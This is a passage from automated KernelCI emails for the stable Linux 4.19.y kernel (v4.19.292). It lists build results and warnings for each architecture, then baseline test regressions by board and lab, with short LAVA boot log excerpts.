32r2el_defconfig (mips, gcc-10) — PASS, 0 errors, 0 warnings, 0 section mismatches
--------------------------------------------------------------------------------
allnoconfig (x86_64, gcc-10) — PASS, 0 errors, 2 warnings, 0 section mismatches
Warnings:
ld: arch/x86/boot/compressed/head_64.o: warning: relocation in read-only section `.head.text'
ld: warning: creating DT_TEXTREL in a PIE
--------------------------------------------------------------------------------
allnoconfig (riscv, gcc-10) — FAIL, 0 errors, 0 warnings, 0 section mismatches
--------------------------------------------------------------------------------
allnoconfig (i386, gcc-10) — PASS, 0 errors, 2 warnings, 0 section mismatches
Warnings:
ld: arch/x86/boot/compressed/head_32.o: warning: relocation in read-only section `.head.text'
ld: warning: creating DT_TEXTREL in a PIE
--------------------------------------------------------------------------------
defconfig (riscv, gcc-10) — FAIL, 0 errors, 0 warnings, 0 section mismatches
--------------------------------------------------------------------------------
defconfig (arm64, gcc-10) — PASS, 0 errors, 3 warnings, 0 section mismatches
Warnings:
aarch64-linux-gnu-ld: warning: -z norelro ignored
aarch64-linux-gnu-ld: warning: -z norelro ignored
aarch64-linux-gnu-ld: warning: -z norelro ignored
Section mismatches:
WARNING: modpost: Found 1 section mismatch(es).
--------------------------------------------------------------------------------
defconfig+arm64-chromebook (arm64, gcc-10) — PASS, 0 errors, 3 warnings, 0 section mismatches
Warnings:
aarch64-linux-gnu-ld: warning: -z norelro ignored
aarch64-linux-gnu-ld: warning: -z norelro ignored
aarch64-linux-gnu-ld: warning: -z norelro ignored
Section mismatches:
WARNING: modpost: Found 1 section mismatch(es).
--------------------------------------------------------------------------------
haps_hs_smp_defconfig (arc, gcc-10) — PASS, 0 errors, 0 warnings, 0 section mismatches
--------------------------------------------------------------------------------
i386_defconfig (i386, gcc-10) — PASS, 0 errors, 2 warnings, 0 section mismatches
Warnings:
ld: arch/x86/boot/compressed/head_32.o: warning: relocation in read-only section `.head.text'
ld: warning: creating DT_TEXTREL in a PIE
--------------------------------------------------------------------------------
imx_v6_v7_defconfig (arm, gcc-10) — PASS, 0 errors, 0 warnings, 0 section mismatches
--------------------------------------------------------------------------------
multi_v5_defconfig (arm, gcc-10) — PASS, 0 errors, 0 warnings, 0 section mismatches
Section mismatches:
WARNING: modpost: Found 1 section mismatch(es).
--------------------------------------------------------------------------------
multi_v7_defconfig (arm, gcc-10) — PASS, 0 errors, 0 warnings, 0 section mismatches
--------------------------------------------------------------------------------
omap2plus_defconfig (arm, gcc-10) — PASS, 0 errors, 0 warnings, 0 section mismatches
--------------------------------------------------------------------------------
tinyconfig (riscv, gcc-10) — FAIL, 0 errors, 0 warnings, 0 section mismatches
--------------------------------------------------------------------------------
tinyconfig (i386, gcc-10) — PASS, 0 errors, 2 warnings, 0 section mismatches
Warnings:
ld: arch/x86/boot/compressed/head_32.o: warning: relocation in read-only section `.head.text'
ld: warning: creating DT_TEXTREL in a PIE
--------------------------------------------------------------------------------
tinyconfig (x86_64, gcc-10) — PASS, 0 errors, 2 warnings, 0 section mismatches
Warnings:
ld: arch/x86/boot/compressed/head_64.o: warning: relocation in read-only section `.head.text'
ld: warning: creating DT_TEXTREL in a PIE
--------------------------------------------------------------------------------
vexpress_defconfig (arm, gcc-10) — PASS, 0 errors, 0 warnings, 0 section mismatches
--------------------------------------------------------------------------------
x86_64_defconfig (x86_64, gcc-10) — PASS, 0 errors, 2 warnings, 0 section mismatches
Warnings:
ld: arch/x86/boot/compressed/head_64.o: warning: relocation in read-only section `.head.text'
ld: warning: creating DT_TEXTREL in a PIE
--------------------------------------------------------------------------------
x86_64_defconfig+x86-chromebook (x86_64, gcc-10) — PASS, 0 errors, 2 warnings, 0 section mismatches
Warnings:
ld: arch/x86/boot/compressed/head_64.o: warning: relocation in read-only section `.head.text'
ld: warning: creating DT_TEXTREL in a PIE
---
For more info write to <info(a)kernelci.org>
2 years, 4 months
- 1
- 0
stable/linux-4.19.y baseline: 97 runs, 36 regressions (v4.19.292)
by kernelci.org bot
stable/linux-4.19.y baseline: 97 runs, 36 regressions (v4.19.292)
Regressions Summary
-------------------
platform | arch | lab | compiler | defconfig | regressions
---------------------------+--------+---------------+----------+------------------------------+------------
asus-C433TA-AJ0005-rammus | x86_64 | lab-collabora | gcc-10 | x86_64_defcon...6-chromebook | 1
asus-C523NA-A20057-coral | x86_64 | lab-collabora | gcc-10 | x86_64_defcon...6-chromebook | 1
beagle-xm | arm | lab-baylibre | gcc-10 | omap2plus_defconfig | 1
beaglebone-black | arm | lab-broonie | gcc-10 | multi_v7_defconfig | 1
beaglebone-black | arm | lab-cip | gcc-10 | multi_v7_defconfig | 1
beaglebone-black | arm | lab-broonie | gcc-10 | omap2plus_defconfig | 1
cubietruck | arm | lab-baylibre | gcc-10 | multi_v7_defconfig | 1
imx6q-sabrelite | arm | lab-collabora | gcc-10 | multi_v7_defconfig | 1
imx6ul-14x14-evk | arm | lab-nxp | gcc-10 | multi_v7_defconfig | 1
imx7d-sdb | arm | lab-nxp | gcc-10 | multi_v7_defconfig | 1
qemu_arm64-virt-gicv2 | arm64 | lab-broonie | gcc-10 | defconfig | 1
qemu_arm64-virt-gicv2 | arm64 | lab-broonie | gcc-10 | defconfig+arm64-chromebook | 1
qemu_arm64-virt-gicv2 | arm64 | lab-collabora | gcc-10 | defconfig | 1
qemu_arm64-virt-gicv2 | arm64 | lab-collabora | gcc-10 | defconfig+arm64-chromebook | 1
qemu_arm64-virt-gicv2-uefi | arm64 | lab-broonie | gcc-10 | defconfig | 1
qemu_arm64-virt-gicv2-uefi | arm64 | lab-broonie | gcc-10 | defconfig+arm64-chromebook | 1
qemu_arm64-virt-gicv2-uefi | arm64 | lab-collabora | gcc-10 | defconfig | 1
qemu_arm64-virt-gicv2-uefi | arm64 | lab-collabora | gcc-10 | defconfig+arm64-chromebook | 1
qemu_arm64-virt-gicv3 | arm64 | lab-broonie | gcc-10 | defconfig | 1
qemu_arm64-virt-gicv3 | arm64 | lab-broonie | gcc-10 | defconfig+arm64-chromebook | 1
qemu_arm64-virt-gicv3 | arm64 | lab-collabora | gcc-10 | defconfig | 1
qemu_arm64-virt-gicv3 | arm64 | lab-collabora | gcc-10 | defconfig+arm64-chromebook | 1
qemu_arm64-virt-gicv3-uefi | arm64 | lab-broonie | gcc-10 | defconfig | 1
qemu_arm64-virt-gicv3-uefi | arm64 | lab-broonie | gcc-10 | defconfig+arm64-chromebook | 1
qemu_arm64-virt-gicv3-uefi | arm64 | lab-collabora | gcc-10 | defconfig | 1
qemu_arm64-virt-gicv3-uefi | arm64 | lab-collabora | gcc-10 | defconfig+arm64-chromebook | 1
r8a7796-m3ulcb | arm64 | lab-collabora | gcc-10 | defconfig | 1
rk3288-veyron-jaq | arm | lab-collabora | gcc-10 | multi_v7_defconfig | 3
rk3399-gru-kevin | arm64 | lab-collabora | gcc-10 | defconfig+arm64-chromebook | 2
sun50i-a64-pine64-plus | arm64 | lab-broonie | gcc-10 | defconfig | 1
sun50i-h6-pine-h64 | arm64 | lab-collabora | gcc-10 | defconfig | 1
zynqmp-zcu102 | arm64 | lab-cip | gcc-10 | defconfig | 1
zynqmp-zcu102 | arm64 | lab-cip | gcc-10 | defconfig+arm64-chromebook | 1
Details: https://kernelci.org/test/job/stable/branch/linux-4.19.y/kernel/v4.19.292/p…
Test: baseline
Tree: stable
Branch: linux-4.19.y
Describe: v4.19.292
URL: https://git.kernel.org/pub/scm/linux/kernel/git/stable/linux-stable.git
SHA: 4e5e7fa94ee0ff378b268679d51feb1fd2a04756
Test Regressions
----------------
platform | arch | lab | compiler | defconfig | regressions
---------------------------+--------+---------------+----------+------------------------------+------------
asus-C433TA-AJ0005-rammus | x86_64 | lab-collabora | gcc-10 | x86_64_defcon...6-chromebook | 1
Details: https://kernelci.org/test/plan/id/64dcffbb06d213784535b1f0
Results: 5 PASS, 1 FAIL, 1 SKIP
Full config: x86_64_defconfig+x86-chromebook
Compiler: gcc-10 (gcc (Debian 10.2.1-6) 10.2.1 20210110)
Plain log: https://storage.kernelci.org//stable/linux-4.19.y/v4.19.292/x86_64/x86_64_d…
HTML log: https://storage.kernelci.org//stable/linux-4.19.y/v4.19.292/x86_64/x86_64_d…
Rootfs: http://storage.kernelci.org/images/rootfs/buildroot/buildroot-baseline/2023…
* baseline.bootrr.deferred-probe-empty: https://kernelci.org/test/case/id/64dcffbb06d213784535b1f5
failing since 210 days (last pass: v4.19.269, first fail: v4.19.270)
2023-08-16T16:57:11.786858 + set +x
2023-08-16T16:57:11.793374 <8>[ 11.511871] <LAVA_SIGNAL_ENDRUN 0_dmesg 11301232_1.4.2.3.1>
2023-08-16T16:57:11.897659 / # #
2023-08-16T16:57:11.998212 export SHELL=/bin/sh
2023-08-16T16:57:11.998372 #
2023-08-16T16:57:12.098891 / # export SHELL=/bin/sh. /lava-11301232/environment
2023-08-16T16:57:12.099068
2023-08-16T16:57:12.199604 / # . /lava-11301232/environment/lava-11301232/bin/lava-test-runner /lava-11301232/1
2023-08-16T16:57:12.199918
2023-08-16T16:57:12.204410 / # /lava-11301232/bin/lava-test-runner /lava-11301232/1
... (12 line(s) more)
platform | arch | lab | compiler | defconfig | regressions
---------------------------+--------+---------------+----------+------------------------------+------------
asus-C523NA-A20057-coral | x86_64 | lab-collabora | gcc-10 | x86_64_defcon...6-chromebook | 1
Details: https://kernelci.org/test/plan/id/64dcffc281c983e07835b1f5
Results: 5 PASS, 1 FAIL, 1 SKIP
Full config: x86_64_defconfig+x86-chromebook
Compiler: gcc-10 (gcc (Debian 10.2.1-6) 10.2.1 20210110)
Plain log: https://storage.kernelci.org//stable/linux-4.19.y/v4.19.292/x86_64/x86_64_d…
HTML log: https://storage.kernelci.org//stable/linux-4.19.y/v4.19.292/x86_64/x86_64_d…
Rootfs: http://storage.kernelci.org/images/rootfs/buildroot/buildroot-baseline/2023…
* baseline.bootrr.deferred-probe-empty: https://kernelci.org/test/case/id/64dcffc281c983e07835b1fa
failing since 210 days (last pass: v4.19.269, first fail: v4.19.270)
2023-08-16T16:56:40.413811 + set +x
2023-08-16T16:56:40.420339 <8>[ 11.954767] <LAVA_SIGNAL_ENDRUN 0_dmesg 11301236_1.4.2.3.1>
2023-08-16T16:56:40.527580 / # #
2023-08-16T16:56:40.628301 export SHELL=/bin/sh
2023-08-16T16:56:40.628534 #
2023-08-16T16:56:40.729148 / # export SHELL=/bin/sh. /lava-11301236/environment
2023-08-16T16:56:40.729320
2023-08-16T16:56:40.829873 / # . /lava-11301236/environment/lava-11301236/bin/lava-test-runner /lava-11301236/1
2023-08-16T16:56:40.830179
2023-08-16T16:56:40.835786 / # /lava-11301236/bin/lava-test-runner /lava-11301236/1
... (12 line(s) more)
platform | arch | lab | compiler | defconfig | regressions
---------------------------+--------+---------------+----------+------------------------------+------------
beagle-xm | arm | lab-baylibre | gcc-10 | omap2plus_defconfig | 1
Details: https://kernelci.org/test/plan/id/64dd006431e1d5847535b217
Results: 0 PASS, 1 FAIL, 0 SKIP
Full config: omap2plus_defconfig
Compiler: gcc-10 (arm-linux-gnueabihf-gcc (Debian 10.2.1-6) 10.2.1 20210110)
Plain log: https://storage.kernelci.org//stable/linux-4.19.y/v4.19.292/arm/omap2plus_d…
HTML log: https://storage.kernelci.org//stable/linux-4.19.y/v4.19.292/arm/omap2plus_d…
Rootfs: http://storage.kernelci.org/images/rootfs/buildroot/buildroot-baseline/2023…
* baseline.login: https://kernelci.org/test/case/id/64dd006431e1d5847535b218
new failure (last pass: v4.19.291)
platform | arch | lab | compiler | defconfig | regressions
---------------------------+--------+---------------+----------+------------------------------+------------
beaglebone-black | arm | lab-broonie | gcc-10 | multi_v7_defconfig | 1
Details: https://kernelci.org/test/plan/id/64dcffdec5240ac61735b299
Results: 24 PASS, 20 FAIL, 1 SKIP
Full config: multi_v7_defconfig
Compiler: gcc-10 (arm-linux-gnueabihf-gcc (Debian 10.2.1-6) 10.2.1 20210110)
Plain log: https://storage.kernelci.org//stable/linux-4.19.y/v4.19.292/arm/multi_v7_de…
HTML log: https://storage.kernelci.org//stable/linux-4.19.y/v4.19.292/arm/multi_v7_de…
Rootfs: http://storage.kernelci.org/images/rootfs/buildroot/buildroot-baseline/2023…
* baseline.bootrr.deferred-probe-empty: https://kernelci.org/test/case/id/64dcffdec5240ac61735b2c1
failing since 210 days (last pass: v4.19.269, first fail: v4.19.270)
2023-08-16T16:56:25.110519 <8>[ 20.426114] <LAVA_SIGNAL_ENDRUN 0_dmesg 57734_1.5.2.4.1>
2023-08-16T16:56:25.219108 / # #
2023-08-16T16:56:25.322196 export SHELL=/bin/sh
2023-08-16T16:56:25.322947 #
2023-08-16T16:56:25.425295 / # export SHELL=/bin/sh. /lava-57734/environment
2023-08-16T16:56:25.426030
2023-08-16T16:56:25.528410 / # . /lava-57734/environment/lava-57734/bin/lava-test-runner /lava-57734/1
2023-08-16T16:56:25.529716
2023-08-16T16:56:25.533664 / # /lava-57734/bin/lava-test-runner /lava-57734/1
2023-08-16T16:56:25.601216 + export 'TESTRUN_ID=1_bootrr'
... (11 line(s) more)
platform | arch | lab | compiler | defconfig | regressions
---------------------------+--------+---------------+----------+------------------------------+------------
beaglebone-black | arm | lab-cip | gcc-10 | multi_v7_defconfig | 1
Details: https://kernelci.org/test/plan/id/64dd00eff3ec58dd4c35b204
Results: 24 PASS, 20 FAIL, 1 SKIP
Full config: multi_v7_defconfig
Compiler: gcc-10 (arm-linux-gnueabihf-gcc (Debian 10.2.1-6) 10.2.1 20210110)
Plain log: https://storage.kernelci.org//stable/linux-4.19.y/v4.19.292/arm/multi_v7_de…
HTML log: https://storage.kernelci.org//stable/linux-4.19.y/v4.19.292/arm/multi_v7_de…
Rootfs: http://storage.kernelci.org/images/rootfs/buildroot/buildroot-baseline/2023…
* baseline.bootrr.deferred-probe-empty: https://kernelci.org/test/case/id/64dd00eff3ec58dd4c35b207
failing since 210 days (last pass: v4.19.269, first fail: v4.19.270)
2023-08-16T17:00:58.918504 + set +x
2023-08-16T17:00:58.920553 <8>[ 9.875058] <LAVA_SIGNAL_ENDRUN 0_dmesg 997950_1.5.2.4.1>
2023-08-16T17:00:59.029357 / # #
2023-08-16T17:00:59.131311 export SHELL=/bin/sh
2023-08-16T17:00:59.131927 #
2023-08-16T17:00:59.233343 / # export SHELL=/bin/sh. /lava-997950/environment
2023-08-16T17:00:59.233928
2023-08-16T17:00:59.335331 / # . /lava-997950/environment/lava-997950/bin/lava-test-runner /lava-997950/1
2023-08-16T17:00:59.336086
2023-08-16T17:00:59.337741 / # /lava-997950/bin/lava-test-runner /lava-997950/1
... (12 line(s) more)
platform | arch | lab | compiler | defconfig | regressions
---------------------------+--------+---------------+----------+------------------------------+------------
beaglebone-black | arm | lab-broonie | gcc-10 | omap2plus_defconfig | 1
Details: https://kernelci.org/test/plan/id/64dcff8e55fc58eeb035b1d9
Results: 41 PASS, 10 FAIL, 1 SKIP
Full config: omap2plus_defconfig
Compiler: gcc-10 (arm-linux-gnueabihf-gcc (Debian 10.2.1-6) 10.2.1 20210110)
Plain log: https://storage.kernelci.org//stable/linux-4.19.y/v4.19.292/arm/omap2plus_d…
HTML log: https://storage.kernelci.org//stable/linux-4.19.y/v4.19.292/arm/omap2plus_d…
Rootfs: http://storage.kernelci.org/images/rootfs/buildroot/buildroot-baseline/2023…
* baseline.bootrr.deferred-probe-empty: https://kernelci.org/test/case/id/64dcff8e55fc58eeb035b20b
new failure (last pass: v4.19.291)
2023-08-16T16:55:18.514948 + set +x<8>[ 17.143078] <LAVA_SIGNAL_ENDRUN 0_dmesg 57718_1.5.2.4.1>
2023-08-16T16:55:18.515475
2023-08-16T16:55:18.626880 / # #
2023-08-16T16:55:18.729852 export SHELL=/bin/sh
2023-08-16T16:55:18.730594 #
2023-08-16T16:55:18.832732 / # export SHELL=/bin/sh. /lava-57718/environment
2023-08-16T16:55:18.833474
2023-08-16T16:55:18.935820 / # . /lava-57718/environment/lava-57718/bin/lava-test-runner /lava-57718/1
2023-08-16T16:55:18.937096
2023-08-16T16:55:18.941959 / # /lava-57718/bin/lava-test-runner /lava-57718/1
... (12 line(s) more)
platform | arch | lab | compiler | defconfig | regressions
---------------------------+--------+---------------+----------+------------------------------+------------
cubietruck | arm | lab-baylibre | gcc-10 | multi_v7_defconfig | 1
Details: https://kernelci.org/test/plan/id/64dcffc306d213784535b221
Results: 5 PASS, 1 FAIL, 1 SKIP
Full config: multi_v7_defconfig
Compiler: gcc-10 (arm-linux-gnueabihf-gcc (Debian 10.2.1-6) 10.2.1 20210110)
Plain log: https://storage.kernelci.org//stable/linux-4.19.y/v4.19.292/arm/multi_v7_de…
HTML log: https://storage.kernelci.org//stable/linux-4.19.y/v4.19.292/arm/multi_v7_de…
Rootfs: http://storage.kernelci.org/images/rootfs/buildroot/buildroot-baseline/2023…
* baseline.bootrr.deferred-probe-empty: https://kernelci.org/test/case/id/64dcffc306d213784535b226
failing since 210 days (last pass: v4.19.268, first fail: v4.19.270)
2023-08-16T16:56:23.128114 + set +x<8>[ 7.344499] <LAVA_SIGNAL_ENDRUN 0_dmesg 3743160_1.5.2.4.1>
2023-08-16T16:56:23.128824
2023-08-16T16:56:23.238293 / # #
2023-08-16T16:56:23.341841 export SHELL=/bin/sh
2023-08-16T16:56:23.343039 #
2023-08-16T16:56:23.445660 / # export SHELL=/bin/sh. /lava-3743160/environment
2023-08-16T16:56:23.446720
2023-08-16T16:56:23.549257 / # . /lava-3743160/environment/lava-3743160/bin/lava-test-runner /lava-3743160/1
2023-08-16T16:56:23.551201
2023-08-16T16:56:23.556399 / # /lava-3743160/bin/lava-test-runner /lava-3743160/1
... (12 line(s) more)
platform | arch | lab | compiler | defconfig | regressions
---------------------------+--------+---------------+----------+------------------------------+------------
imx6q-sabrelite | arm | lab-collabora | gcc-10 | multi_v7_defconfig | 1
Details: https://kernelci.org/test/plan/id/64dcffb030947fb24635b262
Results: 5 PASS, 1 FAIL, 1 SKIP
Full config: multi_v7_defconfig
Compiler: gcc-10 (arm-linux-gnueabihf-gcc (Debian 10.2.1-6) 10.2.1 20210110)
Plain log: https://storage.kernelci.org//stable/linux-4.19.y/v4.19.292/arm/multi_v7_de…
HTML log: https://storage.kernelci.org//stable/linux-4.19.y/v4.19.292/arm/multi_v7_de…
Rootfs: http://storage.kernelci.org/images/rootfs/buildroot/buildroot-baseline/2023…
* baseline.bootrr.deferred-probe-empty: https://kernelci.org/test/case/id/64dcffb030947fb24635b267
failing since 210 days (last pass: v4.19.269, first fail: v4.19.270)
2023-08-16T16:56:07.458739 / # #
2023-08-16T16:56:07.560748 export SHELL=/bin/sh
2023-08-16T16:56:07.561385 #
2023-08-16T16:56:07.663274 / # export SHELL=/bin/sh. /lava-11301178/environment
2023-08-16T16:56:07.664027
2023-08-16T16:56:07.765895 / # . /lava-11301178/environment/lava-11301178/bin/lava-test-runner /lava-11301178/1
2023-08-16T16:56:07.767014
2023-08-16T16:56:07.781464 / # /lava-11301178/bin/lava-test-runner /lava-11301178/1
2023-08-16T16:56:07.892375 + export 'TESTRUN_ID=1_bootrr'
2023-08-16T16:56:07.892861 + cd /lava-11301178/1/tests/1_bootrr
... (13 line(s) more)
platform | arch | lab | compiler | defconfig | regressions
---------------------------+--------+---------------+----------+------------------------------+------------
imx6ul-14x14-evk | arm | lab-nxp | gcc-10 | multi_v7_defconfig | 1
Details: https://kernelci.org/test/plan/id/64dcffe09ded5db3e535b1d9
Results: 5 PASS, 1 FAIL, 1 SKIP
Full config: multi_v7_defconfig
Compiler: gcc-10 (arm-linux-gnueabihf-gcc (Debian 10.2.1-6) 10.2.1 20210110)
Plain log: https://storage.kernelci.org//stable/linux-4.19.y/v4.19.292/arm/multi_v7_de…
HTML log: https://storage.kernelci.org//stable/linux-4.19.y/v4.19.292/arm/multi_v7_de…
Rootfs: http://storage.kernelci.org/images/rootfs/buildroot/buildroot-baseline/2023…
* baseline.bootrr.deferred-probe-empty: https://kernelci.org/test/case/id/64dcffe09ded5db3e535b1de
failing since 152 days (last pass: v4.19.260, first fail: v4.19.278)
2023-08-16T16:56:40.238556 + set +x
2023-08-16T16:56:40.241172 <8>[ 23.093627] <LAVA_SIGNAL_ENDRUN 0_dmesg 1244203_1.5.2.4.1>
2023-08-16T16:56:40.349460 / # #
2023-08-16T16:56:41.505682 export SHELL=/bin/sh
2023-08-16T16:56:41.511302 #
2023-08-16T16:56:43.055007 / # export SHELL=/bin/sh. /lava-1244203/environment
2023-08-16T16:56:43.060733
2023-08-16T16:56:45.873134 / # . /lava-1244203/environment/lava-1244203/bin/lava-test-runner /lava-1244203/1
2023-08-16T16:56:45.879176
2023-08-16T16:56:45.880139 / # /lava-1244203/bin/lava-test-runner /lava-1244203/1
... (15 line(s) more)
platform | arch | lab | compiler | defconfig | regressions
---------------------------+--------+---------------+----------+------------------------------+------------
imx7d-sdb | arm | lab-nxp | gcc-10 | multi_v7_defconfig | 1
Details: https://kernelci.org/test/plan/id/64dcffcdc5240ac61735b1e9
Results: 4 PASS, 2 FAIL, 1 SKIP
Full config: multi_v7_defconfig
Compiler: gcc-10 (arm-linux-gnueabihf-gcc (Debian 10.2.1-6) 10.2.1 20210110)
Plain log: https://storage.kernelci.org//stable/linux-4.19.y/v4.19.292/arm/multi_v7_de…
HTML log: https://storage.kernelci.org//stable/linux-4.19.y/v4.19.292/arm/multi_v7_de…
Rootfs: http://storage.kernelci.org/images/rootfs/buildroot/buildroot-baseline/2023…
* baseline.bootrr.deferred-probe-empty: https://kernelci.org/test/case/id/64dcffcdc5240ac61735b1ee
failing since 210 days (last pass: v4.19.267, first fail: v4.19.270)
2023-08-16T16:56:23.856684 / # #
2023-08-16T16:56:25.011373 export SHELL=/bin/sh
2023-08-16T16:56:25.016769 #
2023-08-16T16:56:26.557479 / # export SHELL=/bin/sh. /lava-1244204/environment
2023-08-16T16:56:26.563103
2023-08-16T16:56:29.375313 / # . /lava-1244204/environment/lava-1244204/bin/lava-test-runner /lava-1244204/1
2023-08-16T16:56:29.381267
2023-08-16T16:56:29.381560 / # /lava-1244204/bin/lava-test-runner /lava-1244204/1
2023-08-16T16:56:29.489123 + export 'TESTRUN_ID=1_bootrr'
2023-08-16T16:56:29.489505 + cd /lava-1244204/1/tests/1_bootrr
... (16 line(s) more)
platform | arch | lab | compiler | defconfig | regressions
---------------------------+--------+---------------+----------+------------------------------+------------
qemu_arm64-virt-gicv2 | arm64 | lab-broonie | gcc-10 | defconfig | 1
Details: https://kernelci.org/test/plan/id/64dd025882c76121d835b1e7
Results: 0 PASS, 1 FAIL, 0 SKIP
Full config: defconfig
Compiler: gcc-10 (aarch64-linux-gnu-gcc (Debian 10.2.1-6) 10.2.1 20210110)
Plain log: https://storage.kernelci.org//stable/linux-4.19.y/v4.19.292/arm64/defconfig…
HTML log: https://storage.kernelci.org//stable/linux-4.19.y/v4.19.292/arm64/defconfig…
Rootfs: http://storage.kernelci.org/images/rootfs/buildroot/buildroot-baseline/2023…
* baseline.login: https://kernelci.org/test/case/id/64dd025882c76121d835b1e8
failing since 345 days (last pass: v4.19.230, first fail: v4.19.257)
platform | arch | lab | compiler | defconfig | regressions
---------------------------+--------+---------------+----------+------------------------------+------------
qemu_arm64-virt-gicv2 | arm64 | lab-broonie | gcc-10 | defconfig+arm64-chromebook | 1
Details: https://kernelci.org/test/plan/id/64dd0427553133b89135b1e0
Results: 0 PASS, 1 FAIL, 0 SKIP
Full config: defconfig+arm64-chromebook
Compiler: gcc-10 (aarch64-linux-gnu-gcc (Debian 10.2.1-6) 10.2.1 20210110)
Plain log: https://storage.kernelci.org//stable/linux-4.19.y/v4.19.292/arm64/defconfig…
HTML log: https://storage.kernelci.org//stable/linux-4.19.y/v4.19.292/arm64/defconfig…
Rootfs: http://storage.kernelci.org/images/rootfs/buildroot/buildroot-baseline/2023…
* baseline.login: https://kernelci.org/test/case/id/64dd0427553133b89135b1e1
failing since 383 days (last pass: v4.19.230, first fail: v4.19.254)
platform | arch | lab | compiler | defconfig | regressions
---------------------------+--------+---------------+----------+------------------------------+------------
qemu_arm64-virt-gicv2 | arm64 | lab-collabora | gcc-10 | defconfig | 1
Details: https://kernelci.org/test/plan/id/64dd019a35af2d335735b1e3
Results: 0 PASS, 1 FAIL, 0 SKIP
Full config: defconfig
Compiler: gcc-10 (aarch64-linux-gnu-gcc (Debian 10.2.1-6) 10.2.1 20210110)
Plain log: https://storage.kernelci.org//stable/linux-4.19.y/v4.19.292/arm64/defconfig…
HTML log: https://storage.kernelci.org//stable/linux-4.19.y/v4.19.292/arm64/defconfig…
Rootfs: http://storage.kernelci.org/images/rootfs/buildroot/buildroot-baseline/2023…
* baseline.login: https://kernelci.org/test/case/id/64dd019a35af2d335735b1e4
failing since 345 days (last pass: v4.19.230, first fail: v4.19.257)
platform | arch | lab | compiler | defconfig | regressions
---------------------------+--------+---------------+----------+------------------------------+------------
qemu_arm64-virt-gicv2 | arm64 | lab-collabora | gcc-10 | defconfig+arm64-chromebook | 1
Details: https://kernelci.org/test/plan/id/64dd027669c7a267e935b205
Results: 0 PASS, 1 FAIL, 0 SKIP
Full config: defconfig+arm64-chromebook
Compiler: gcc-10 (aarch64-linux-gnu-gcc (Debian 10.2.1-6) 10.2.1 20210110)
Plain log: https://storage.kernelci.org//stable/linux-4.19.y/v4.19.292/arm64/defconfig…
HTML log: https://storage.kernelci.org//stable/linux-4.19.y/v4.19.292/arm64/defconfig…
Rootfs: http://storage.kernelci.org/images/rootfs/buildroot/buildroot-baseline/2023…
* baseline.login: https://kernelci.org/test/case/id/64dd027669c7a267e935b206
failing since 383 days (last pass: v4.19.230, first fail: v4.19.254)
platform | arch | lab | compiler | defconfig | regressions
---------------------------+--------+---------------+----------+------------------------------+------------
qemu_arm64-virt-gicv2-uefi | arm64 | lab-broonie | gcc-10 | defconfig | 1
Details: https://kernelci.org/test/plan/id/64dd02965aea7f6f2c35b1e5
Results: 0 PASS, 1 FAIL, 0 SKIP
Full config: defconfig
Compiler: gcc-10 (aarch64-linux-gnu-gcc (Debian 10.2.1-6) 10.2.1 20210110)
Plain log: https://storage.kernelci.org//stable/linux-4.19.y/v4.19.292/arm64/defconfig…
HTML log: https://storage.kernelci.org//stable/linux-4.19.y/v4.19.292/arm64/defconfig…
Rootfs: http://storage.kernelci.org/images/rootfs/buildroot/buildroot-baseline/2023…
* baseline.login: https://kernelci.org/test/case/id/64dd02965aea7f6f2c35b1e6
failing since 345 days (last pass: v4.19.230, first fail: v4.19.257)
platform | arch | lab | compiler | defconfig | regressions
---------------------------+--------+---------------+----------+------------------------------+------------
qemu_arm64-virt-gicv2-uefi | arm64 | lab-broonie | gcc-10 | defconfig+arm64-chromebook | 1
Details: https://kernelci.org/test/plan/id/64dd04289a73e29bea35b1d9
Results: 0 PASS, 1 FAIL, 0 SKIP
Full config: defconfig+arm64-chromebook
Compiler: gcc-10 (aarch64-linux-gnu-gcc (Debian 10.2.1-6) 10.2.1 20210110)
Plain log: https://storage.kernelci.org//stable/linux-4.19.y/v4.19.292/arm64/defconfig…
HTML log: https://storage.kernelci.org//stable/linux-4.19.y/v4.19.292/arm64/defconfig…
Rootfs: http://storage.kernelci.org/images/rootfs/buildroot/buildroot-baseline/2023…
* baseline.login: https://kernelci.org/test/case/id/64dd04289a73e29bea35b1da
failing since 383 days (last pass: v4.19.230, first fail: v4.19.254)
platform | arch | lab | compiler | defconfig | regressions
---------------------------+--------+---------------+----------+------------------------------+------------
qemu_arm64-virt-gicv2-uefi | arm64 | lab-collabora | gcc-10 | defconfig | 1
Details: https://kernelci.org/test/plan/id/64dd019b05a1817a3d35b1e5
Results: 0 PASS, 1 FAIL, 0 SKIP
Full config: defconfig
Compiler: gcc-10 (aarch64-linux-gnu-gcc (Debian 10.2.1-6) 10.2.1 20210110)
Plain log: https://storage.kernelci.org//stable/linux-4.19.y/v4.19.292/arm64/defconfig…
HTML log: https://storage.kernelci.org//stable/linux-4.19.y/v4.19.292/arm64/defconfig…
Rootfs: http://storage.kernelci.org/images/rootfs/buildroot/buildroot-baseline/2023…
* baseline.login: https://kernelci.org/test/case/id/64dd019b05a1817a3d35b1e6
failing since 345 days (last pass: v4.19.230, first fail: v4.19.257)
platform | arch | lab | compiler | defconfig | regressions
---------------------------+--------+---------------+----------+------------------------------+------------
qemu_arm64-virt-gicv2-uefi | arm64 | lab-collabora | gcc-10 | defconfig+arm64-chromebook | 1
Details: https://kernelci.org/test/plan/id/64dd02ee1589f297c135b21e
Results: 0 PASS, 1 FAIL, 0 SKIP
Full config: defconfig+arm64-chromebook
Compiler: gcc-10 (aarch64-linux-gnu-gcc (Debian 10.2.1-6) 10.2.1 20210110)
Plain log: https://storage.kernelci.org//stable/linux-4.19.y/v4.19.292/arm64/defconfig…
HTML log: https://storage.kernelci.org//stable/linux-4.19.y/v4.19.292/arm64/defconfig…
Rootfs: http://storage.kernelci.org/images/rootfs/buildroot/buildroot-baseline/2023…
* baseline.login: https://kernelci.org/test/case/id/64dd02ee1589f297c135b21f
failing since 383 days (last pass: v4.19.230, first fail: v4.19.254)
platform | arch | lab | compiler | defconfig | regressions
---------------------------+--------+---------------+----------+------------------------------+------------
qemu_arm64-virt-gicv3 | arm64 | lab-broonie | gcc-10 | defconfig | 1
Details: https://kernelci.org/test/plan/id/64dd026e69c7a267e935b200
Results: 0 PASS, 1 FAIL, 0 SKIP
Full config: defconfig
Compiler: gcc-10 (aarch64-linux-gnu-gcc (Debian 10.2.1-6) 10.2.1 20210110)
Plain log: https://storage.kernelci.org//stable/linux-4.19.y/v4.19.292/arm64/defconfig…
HTML log: https://storage.kernelci.org//stable/linux-4.19.y/v4.19.292/arm64/defconfig…
Rootfs: http://storage.kernelci.org/images/rootfs/buildroot/buildroot-baseline/2023…
